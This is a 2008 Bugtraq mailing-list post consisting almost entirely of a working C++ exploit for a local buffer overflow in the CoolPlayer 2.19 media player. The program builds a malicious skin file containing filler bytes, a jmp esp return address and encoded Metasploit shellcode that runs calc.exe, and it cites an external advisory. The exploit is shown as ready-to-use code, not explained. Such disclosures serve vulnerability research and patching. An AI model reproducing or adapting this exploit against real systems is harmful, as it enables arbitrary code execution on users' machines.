bugtraq - CoolPlayer 2.19 (Skin File) Local Buffer Overflow Exploit

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Message-Id: <200812220739.mBM7dtDD028105@www3.securityfocus.com>
Date: Mon, 22 Dec 2008 00:39:55 -0700
From: writ3r-dont-want-bugtraq-spam-@...il.com
To: bugtraq@...urityfocus.com
Subject: CoolPlayer 2.19 (Skin File) Local Buffer Overflow Exploit

/*
* CoolPlayer 2.19 (Skin File) Local Buffer Overflow Exploit
*
* Advisory: http://www.bmgsec.com.au/advisory/43/
* Test box: WinXP Pro SP2 English
*
* Code reference is in skin.c, lines 464 - 480
*
* Written and discovered by:
* r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
*/

#include <iostream>
#include <fstream>
#include <cstdlib> //exit

using namespace std;

int main()
{
    //win32_exec -  EXITFUNC=process CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
    //Bad characters: 0x00, 0x0d, 0xf4
    char scode[] =
        "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
        "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
        "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
        "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
        "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
        "\x42\x30\x42\x50\x42\x30\x4b\x58\x45\x34\x4e\x53\x4b\x38\x4e\x57"
        "\x45\x50\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38"
        "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x33\x4b\x48"
        "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
        "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
        "\x46\x4f\x4b\x53\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x38"
        "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x38\x4e\x30\x4b\x54"
        "\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"
        "\x41\x30\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
        "\x42\x4c\x46\x36\x4b\x48\x42\x44\x42\x33\x45\x58\x42\x4c\x4a\x47"
        "\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x38\x42\x47\x4e\x31\x4d\x4a"
        "\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x58\x42\x4b"
        "\x42\x50\x42\x50\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x53"
        "\x48\x4f\x42\x46\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
        "\x42\x45\x4a\x46\x50\x47\x4a\x4d\x44\x4e\x43\x37\x4a\x46\x4a\x39"
        "\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46"
        "\x4e\x36\x43\x46\x50\x32\x45\x46\x4a\x37\x45\x46\x42\x30\x5a";

    char buffer[1918];
    char eip[] = "\x27\x38\x03\x7d"; //jmp esp

    cout << "[*] Generating payload\n";
    strcpy(buffer, "[CoolPlayer Skin]\nPlaylistSkin=");

    int i;
    for (i=0; i<1534; i++)
        buffer[31+i] = 'A';

    for (i=0; i<sizeof(eip); i++)
        buffer[1565+i] = eip[i];

    for (i=0; i<sizeof(scode); i++)
        buffer[1569+i] = scode[i];

    ofstream outStream;
    outStream.open("cp.ini");

    outStream << buffer;

    outStream.close();

    cout << "[+] Skin file created.\n";

    return 0;
}